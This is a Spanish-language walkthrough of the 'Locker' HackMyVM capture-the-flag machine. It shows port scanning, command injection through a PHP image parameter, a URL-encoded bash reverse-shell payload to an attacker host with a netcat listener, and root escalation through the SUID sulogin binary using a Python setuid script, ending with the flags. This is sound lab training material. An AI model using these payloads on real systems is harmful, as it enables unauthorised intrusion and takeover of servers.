Locker HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 03:47 EDT
Nmap scan report for 192.168.5.11
Host is up (0.0014s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:4A:3E:24 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds

Veremos que solo tenemos un puerto 80, si entramos dentro veremos una pagina web normal que pone lo siguiente:

No vemos nada interesante, por lo que vamos a clickar en Model 1 a ver que nos encontramos, echo eso veremos lo siguiente en la pagina:

Pero sobre todo es muy interesante la URL ya que esta utilizando PHP y llamando mediante un parametro image a un numero que se identifica como a la imagen, por lo que vamos a realizar varias pruebas de vulenrabilidades sobre dicho parametro no vaya a ser que se pudiera injectar comandos.

Escalate user www-data

Realizando varias pruebas despues de estar un rato, vemos que concatenando comandos nos funciona, si abrimos BurpSuite y capturamos la peticion, lo mandamos al Repeater y realizamos ahi las pruebas, veremos que si ponemos lo siguiente podremos realizar un RCE.

URL = http://<IP>/locker.php?image=1;id;

Probando a poner id solamente, despues concatenandolo, tampoco funcionaba, pero si le pones un ; extra detras, ya si que funciona y veremos lo siguiente en la peticion de respuesta:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 10 May 2025 07:57:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 112

<img src="data:image/jpg;base64,uid=33(www-data) gid=33(www-data) groups=33(www-data)
"width="150"height="150"/>

Vemos que nos esta funcionando, por lo que vamos a generar una reverse shell de esta forma:

URL = http://<IP>/locker.php?image=1;bash+%20-c+%20"bash+%20-i+%20>%26+%20/dev/tcp/<IP_ATTACKER>/<PORT>+%200>%261";

Ahora nos pondremos a la escucha antes de enviarlo.

nc -lvnp <PORT>

Si enviamos la peticion y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.11] 54772
bash: cannot set terminal process group (362): Inappropriate ioctl for device
bash: no job control in this shell
www-data@locker:~/html$ whoami
whoami
www-data

Veremos que hemos obtenido acceso como el usuario www-data por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Una vez sanitizado todo, vamos a leer la flag del usuario.

Escalate Privileges

Si listamos los permisos SUID que tenemos con dicho usuario, veremos lo siguiente:

find / -type f -perm -4000 -ls 2>/dev/null

Info:

15884    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
     4639     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   137057     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
     3596     48 -rwsr-sr-x   1 root     root          47184 Jan 10  2019 /usr/sbin/sulogin
     3890     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
       62     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
     3415     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
       59     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
       60     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
       63     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
     3888     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
     3562     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su

Vemos uno bastante interesante, que es el siguiente:

3596   48 -rwsr-sr-x   1 root   root   47184 Jan 10  2019 /usr/sbin/sulogin

Vamos a investigar que hace dicho binario.

Si investigamos un poco cuando se ejecuta el binario entramos en un interpreter en el que podemos ejecutar comandos, pero al tener esta shell dentro de un contenedor de la maquina victima no va a funcionar a parte de que esta como bloqueado, pero si investigamos con el parametro -e podemos forzar esa ejecuccion y tendremos que exportar la variable de entorno SUSHELL para poner el script que queremos que ejecute para poder obtener acceso a root, por lo que haremos lo siguiente:

cd /tmp

bash.py

#!/bin/python3

import os

os.setuid(0)
os.setgid(0)
print("Obteniendo Bash como root...")

os.system('/bin/bash')

print("Ya eres root!!")

Lo guardamos y establecemos permisos de ejecuccion:

chmod +x bash.py

Echo esto tendremos que exportar la variable de entorno a la de la ruta de /tmp con el script de python.

export SUSHELL=/tmp/bash.py

Echo esto, podremos ejecutar el binario con permisos de SUID pero haciendolo de una manera forzada con el parametro -e.

/usr/sbin/sulogin -e

Info:

Press Enter for maintenance
(or press Control-D to continue): # Dejamos el campo vacio y le damos a "ENTER"
Obteniendo Bash como root...
root@locker:~# whoami
root

Con esto veremos que ya seremos root, por lo que leeremos las 2 flags la del usuario y la de root.

user.txt

flaglockeryes

root.txt

igotroothere

Last updated